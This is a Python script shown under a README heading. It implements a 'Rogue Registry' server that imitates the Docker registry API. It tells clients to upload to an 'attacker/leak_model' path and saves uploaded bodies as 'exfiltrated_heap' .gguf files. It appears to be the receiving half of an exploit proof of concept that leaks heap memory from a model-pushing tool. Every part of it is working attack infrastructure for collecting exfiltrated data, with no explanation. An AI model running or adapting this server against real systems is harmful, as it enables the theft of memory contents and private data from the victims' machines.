README.md
Rendering markdown...
#!/usr/bin/env python3
import socket
import threading
import time
import os
os.makedirs("exfils", exist_ok=True)
def handle_client(client_socket):
try:
# 3-second timeout ensures we slurp all data without hanging indefinitely
client_socket.settimeout(3.0)
request = b""
while b"\r\n\r\n" not in request:
try:
req_chunk = client_socket.recv(4096)
if not req_chunk:
break
request += req_chunk
except socket.timeout:
break
if not request:
return
headers_part = request.split(b"\r\n\r\n")[0]
headers = headers_part.decode('utf-8', errors='ignore')
method_line = headers.split('\r\n')[0]
print(f"[*] Received request: {method_line}")
# CRITICAL FIX: Handle Go's Expect: 100-continue requirement
if "expect: 100-continue" in headers.lower():
client_socket.send(b"HTTP/1.1 100 Continue\r\n\r\n")
if "HEAD" in method_line and "/blobs/" in method_line:
response = b"HTTP/1.1 404 Not Found\r\n"
response += b"Content-Length: 0\r\n"
response += b"Docker-Distribution-Api-Version: registry/2.0\r\n\r\n"
client_socket.send(response)
elif "POST" in method_line and "/blobs/uploads/" in method_line:
host_header = ""
for line in headers.split('\r\n'):
if line.lower().startswith('host:'):
host_header = line.split(':', 1)[1].strip()
break
response = b"HTTP/1.1 202 Accepted\r\n"
response += b"Content-Length: 0\r\n"
response += b"Docker-Distribution-Api-Version: registry/2.0\r\n"
# Force the Location header to match ngrok's schema
if host_header:
response += f"Location: https://{host_header}/v2/attacker/leak_model/blobs/uploads/1234-5678\r\n".encode()
else:
response += b"Location: /v2/attacker/leak_model/blobs/uploads/1234-5678\r\n"
response += b"\r\n"
client_socket.send(response)
elif "PATCH" in method_line or "PUT" in method_line:
print(f"[+] {method_line.split()[0]} request received! Slurping payload via socket timeout...")
body = request[len(headers_part)+4:]
while True:
try:
chunk = client_socket.recv(8192)
if not chunk:
break
body += chunk
except socket.timeout:
# Timeout reached, assume stream is complete
break
# Acknowledge upload completion only AFTER reading the stream
response = b"HTTP/1.1 201 Created\r\n"
response += b"Content-Length: 0\r\n"
response += b"Docker-Distribution-Api-Version: registry/2.0\r\n\r\n"
client_socket.send(response)
filename = f"exfils/exfiltrated_heap_{int(time.time()*1000)}.gguf"
if len(body) > 0:
print(f"[+] Successfully captured {len(body)} bytes! Saving to '{filename}'")
with open(filename, "wb") as f:
f.write(body)
else:
print("[-] Ignored 0 byte payload.")
else:
# Catch-all for standard registry endpoints
response = b"HTTP/1.1 200 OK\r\n"
response += b"Content-Length: 0\r\n"
response += b"Docker-Distribution-Api-Version: registry/2.0\r\n\r\n"
client_socket.send(response)
except Exception as e:
print(f"[-] Socket error: {e}")
finally:
client_socket.close()
def start_server(port=80):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("0.0.0.0", port))
server.listen(5)
print(f"[*] Rogue Registry listener started on 0.0.0.0:{port}")
while True:
client, addr = server.accept()
client_handler = threading.Thread(target=handle_client, args=(client,))
client_handler.start()
if __name__ == "__main__":
start_server(80)